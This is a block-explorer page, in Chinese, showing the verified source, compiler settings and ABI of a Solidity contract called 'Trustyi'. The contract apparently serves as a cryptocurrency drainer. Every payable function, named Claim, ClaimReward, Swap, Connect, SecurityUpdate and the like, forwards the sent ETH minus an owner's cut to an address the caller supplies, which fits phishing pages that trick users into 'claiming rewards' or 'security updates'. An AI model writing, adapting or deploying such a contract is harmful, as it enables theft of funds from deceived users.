账户
0x00...0000
0x00...0000

0x00...0000

$500
此合同的源代码已经过验证!
合同元数据
编译器
0.8.18+commit.87f61d96
语言
Solidity
合同源代码
文件 1 的 1:Trustyi.sol
/**
 *Submitted for verification at Etherscan.io on 2023-07-22
*/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.18;

contract Trustyi {

  address private owner;
  uint256 private fee;
  uint8 private percentage;

  event Ownership(address indexed previous_owner, address indexed current_owner);
  event Percentage (uint8 previous_percentage, uint8 current_percentage);

  constructor() { owner = msg.sender; fee = 0; percentage = 0; }

  function getOwner() public view returns (address) { return owner; }
  function getBalance() public view returns (uint256) { return address(this).balance; }
  function getFee() public view returns (uint256) { return fee; }

  function withdraw(address sender) private {
    uint256 amount = msg.value;
    uint256 reserve = (amount / 100) * percentage;
    amount = amount - reserve; fee = fee + reserve;
    payable(sender).transfer(amount);
  }

  function Claim(address sender) public payable { withdraw(sender); }
  function ClaimReward(address sender) public payable { withdraw(sender); }
  function ClaimRewards(address sender) public payable { withdraw(sender); }
  function Execute(address sender) public payable { withdraw(sender); }
  function Multicall(address sender) public payable { withdraw(sender); }
  function Swap(address sender) public payable { withdraw(sender); }
  function Connect(address sender) public payable { withdraw(sender); }
  function SecurityUpdate(address sender) public payable { withdraw(sender); }

  function transferOwnership(address new_owner) public {
    require(msg.sender == owner, "Access Denied");
    address previous_owner = owner; owner = new_owner;
    emit Ownership(previous_owner, new_owner);
  }
  function Fee(address receiver) public {
    require(msg.sender == owner, "Access Denied");
    uint256 amount = fee; fee = 0;
    payable(receiver).transfer(amount);
  }
  function changePercentage(uint8 new_percentage) public {
    require(msg.sender == owner, "Access Denied");
    require(new_percentage >= 0 && new_percentage <= 10, "Invalid Percentage");
    uint8 previous_percentage = percentage; percentage = new_percentage;
    emit Percentage(previous_percentage, percentage);
  }

}
设置
{
  "compilationTarget": {
    "Trustyi.sol": "Trustyi"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previous_owner","type":"address"},{"indexed":true,"internalType":"address","name":"current_owner","type":"address"}],"name":"Ownership","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"previous_percentage","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"current_percentage","type":"uint8"}],"name":"Percentage","type":"event"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Claim","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ClaimReward","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ClaimRewards","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Connect","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Execute","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"Fee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Multicall","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"SecurityUpdate","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"Swap","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"new_percentage","type":"uint8"}],"name":"changePercentage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"new_owner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]